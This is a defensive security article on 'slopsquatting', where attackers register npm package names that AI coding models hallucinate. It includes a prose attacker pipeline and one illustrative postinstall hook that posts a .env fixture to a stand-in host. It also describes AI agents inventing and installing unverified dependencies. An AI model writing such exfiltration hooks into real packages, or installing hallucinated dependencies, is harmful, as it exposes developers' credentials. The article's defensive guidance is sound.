Supply chain security // slopsquatting
NPM Roulette: When Your AI Hallucinates a Dependency and Literally Cooks Your Mac
It’s giving voluntary malware download: the package sounds plausible, the model sounds confident, and your terminal is about to execute somebody else’s trust boundary.
Claim audit // threat model before theatrics
Slopsquatting is measured. This exact heist is still a scenario.
Researchers have repeatedly shown that code-generating models invent package names, and that some invented names recur across prompts and models. That creates a registrable attack surface. I did not find public evidence proving that one campaign continuously harvested GPT-4o and Claude 3.5 outputs, registered every result across npm, PyPI, and RubyGems, and used the exact Telegram exfiltration chain in this article. Treat that pipeline as a credible attacker playbook, not a confirmed census of registry abuse.
The example package react-query-auth-utils is
hypothetical. Do not search for or install lookalikes to “test
the vibe.” Security research does not require donating your
workstation to the control group.
01 // The AI typosquatting pipeline
You were not unlucky. You accepted an unverified name as authority.
Traditional typosquatting waits for a human to misspell a real
dependency. Slopsquatting waits for a model to invent a plausible
one. The model has learned naming patterns—framework,
capability, and a comforting suffix such as -utils or
-helper—without possessing a live, authoritative
registry in its weights. The result can look semantically perfect
while resolving to nothing at generation time.
Harvest
Automate common coding prompts and collect suggested imports and install commands.
Resolve
Compare those names with registry indexes and isolate names that do not exist.
Rank
Prioritize names repeated across prompts, temperatures, and different model families.
Register
Publish the attractive name with convincing metadata and a weaponized release.
Wait
Let autocomplete, generated code, or an autonomous agent deliver the victim.
The scale is not hypothetical. The study We Have a Package for You! generated 576,000 JavaScript and Python samples across 16 models. It reported average hallucinated-package rates of at least 5.2% for commercial models and 21.7% for open models, producing 205,474 unique invented names. A May 2026 replication tested five newer frontier models across 199,845 paired prompts. Rates narrowed to 4.62–6.10%, yet 127 names were invented by all five models. Better models reduced the spread; they did not delete the attack surface.
An attacker does not need a magical model exploit. A loop that asks ordinary questions, extracts package-shaped strings, checks registry availability, and counts recurrence is enough. The real force multiplier is the developer who interprets fluent output as package provenance. Cursor did not grant trust. Tab did.
02 // The postinstall tragedy
npm install is capable of executing code, not merely copying files.
npm lifecycle hooks include preinstall,
install, and postinstall. When enabled,
they run during dependency installation with the operating-system
privileges of the developer invoking npm. On a Mac, that normally
means your user account—not automatic root—but your user
can already read most source trees, shell configuration, project
credentials, and whatever secrets you irresponsibly left beside
package.json. macOS privacy controls may protect some
locations; they are not a sandbox for every development directory.
{
"scripts": {
"postinstall":
"curl -X POST --data-binary @DEMO_FIXTURE.env https://c2.example.invalid/collect"
}
}
example.invalid is reserved and will not resolve.
The fixture name is deliberate. This illustrates the trust
boundary without supplying a working secret-theft payload.
That toy line also simplifies reality: dependency scripts commonly
run from the installed package directory, so @.env
does not guarantee access to the application’s root file.
Real malware can search readable locations, inspect environment
variables, fingerprint cloud tooling, or launch a second-stage
process. It can also hide behavior behind minification, encoded
strings, delayed execution, platform checks, or an apparently
legitimate native build.
Readable means reachable
A package inherits the files and environment available to the npm process unless the OS or a sandbox blocks them.
Egress completes the theft
Unrestricted outbound networking turns local discovery into exfiltration. A firewall-free laptop is an eager courier.
Install time is early
The code may run before your application imports the dependency, before tests, and before a pull request exists.
This is why an SCA check that runs only after merge is necessary but insufficient. The first blast radius is the developer workstation. If that workstation holds production AWS credentials, signing keys, an npm token, and a logged-in GitHub session, your local convenience has quietly become enterprise infrastructure.
03 // The DevSecOps aura scorecard
How much dependency-management aura do you actually have?
| Developer behavior | Aura | Security verdict |
|---|---|---|
| Installing a package because the AI used confident punctuation | −1,000 | Voluntary malware audition |
| Checking only download count and the README | −300 | Popularity is not provenance |
| Inspecting registry age, maintainers, repository, scripts, and tarball | +700 | Adult supervision detected |
| Using lockfile review plus a required dependency-diff check | +1,000 | Changes become visible and enforceable |
| Installing untrusted packages in an egress-denied, secret-free sandbox | +1,800 | Threat model has entered the chat |
| Giving an autonomous coding agent permission to run arbitrary npm commands | −2,000 | Your Mac is now a community resource |
The serious metric underneath the jokes is independent verification. A package name is an external executable dependency. It deserves the same scrutiny whether it came from a senior engineer, a Stack Overflow answer, or a glowing autocomplete box that says “recommended.”
04 // The evergreen engineering fix
Make installation a reviewed transition, not an autocomplete side effect.
Interrogate the registry metadata first
Confirm the package exists for a reason. Check publication age, version history, maintainers, repository alignment, declared lifecycle scripts, and integrity metadata. Then inspect the tarball without executing its hooks.
npm view <pkg> version time maintainers repository scripts dist.integrity
npm pack <pkg>@<exact-version> --ignore-scripts
tar -tf <downloaded-package>.tgz
Default to inert installations
The blunt workstation baseline is to disable package scripts.
npm documents that this suppresses scripts in package manifests;
explicit commands such as npm test still run their
intended script, but not matching pre- or post-hooks. Expect
packages with native binaries to require a reviewed exception.
npm config set ignore-scripts true --location=user
npm config get ignore-scripts
npm ci --ignore-scripts
Use an allowlist when your npm version supports it
npm 11.17 introduced npm approve-scripts and
npm deny-scripts for project-level install-script
decisions. Approvals are pinned to the installed version by
default. strict-allow-scripts turns unreviewed
scripts into an installation error. Important: global
ignore-scripts overrides the allowlist, so choose a
deliberate policy instead of stacking contradictory flags.
npm approve-scripts --allow-scripts-pending
npm approve-scripts sharp
npm config set strict-allow-scripts true --location=project
Remove workstation treasure
Use short-lived cloud credentials, separate production roles, secret managers, and profiles that are absent from ordinary development shells.
Make lockfiles reviewable
Commit the lockfile, pin direct dependencies where justified, and block manifest changes that arrive without an explainable dependency diff.
Sandbox first contact
Evaluate unknown packages in an ephemeral container or VM with no home-directory mount, no cloud credentials, and denied network egress.
05 // SCA before merge, behavior before trust
Put dependency review where the pull request cannot ignore it.
GitHub’s dependency review shows direct and transitive changes introduced by a pull request and can fail a required check when a vulnerable version appears. That gives the lockfile an enforceable diff. Add a behavior-focused service when your threat model includes malicious packages: Socket documents signals for install scripts, network access, environment-variable access, filesystem access, shell access, obfuscation, and newly published packages. Snyk’s GitHub Actions integration adds vulnerability and policy checks for Node projects.
name: dependency-policy
on: pull_request
permissions:
contents: read
jobs:
review:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/dependency-review-action@v4
For Socket or Snyk, start from the vendor’s current workflow, grant the smallest permissions it needs, store tokens in GitHub Actions secrets, and pin third-party actions to a reviewed commit SHA rather than a floating branch. Make the check required in branch protection. A dashboard nobody must obey is security-themed interior decoration.
Finally, teach the AI a boundary it cannot negotiate: it may propose a dependency, but it may not install one. Require the agent to produce the package’s official registry URL, repository, release age, reason the standard library is insufficient, and the exact permissions or lifecycle behavior it introduces. The human approves the name; the sandbox performs first contact; CI reviews the resulting tree.
06 // The ten-second pause
Before you run the command the model wrote
- Verify identity.
Does the package exist in the official registry, and does its repository belong to the organization you expect?
- Check time.
Was it published yesterday, transferred recently, or revived after years of silence?
- Inspect scripts.
Does installation execute shell, native compilation, downloads, or opaque JavaScript?
- Reduce exposure.
Would this process inherit production credentials, signing material, registry tokens, or unrestricted egress?
- Demand necessity.
Can existing code, a maintained dependency, or ten lines of local logic solve the problem with less supply-chain surface?
AI did not abolish dependency management. It made plausible names cheaper to generate and dangerous decisions faster to execute. Keep the speed. Remove the blind trust. If you cannot explain who published the package, what runs during installation, and why your machine is allowed to expose its secrets to that code, do not spin the wheel.
Sources // primary research and official documentation
Evidence used in this analysis
- Churilov — The Range Shrinks, the Threat Remains: Re-evaluating LLM Package Hallucinations on the 2026 Frontier-Model Cohort
- Spracklen et al. — We Have a Package for You! A Comprehensive Analysis of Package Hallucinations by Code Generating LLMs
- npm Documentation — Lifecycle scripts
- npm Documentation — ignore-scripts, allow-scripts, and strict-allow-scripts configuration
- npm Documentation — Approving install scripts
- GitHub Documentation — Dependency review and required checks
- Socket Documentation — GitHub Actions and supply-chain behavior signals
- Snyk Documentation — GitHub Actions for Node dependency checks
Scope and method: Package-hallucination figures come from the cited academic studies. npm behavior and configuration were checked against the current npm CLI documentation. The attack narrative is a defensive threat model; the code sample uses a reserved non-routable domain and a dummy fixture. Product controls were described from vendor documentation and should be pinned and configured according to each organization’s risk policy.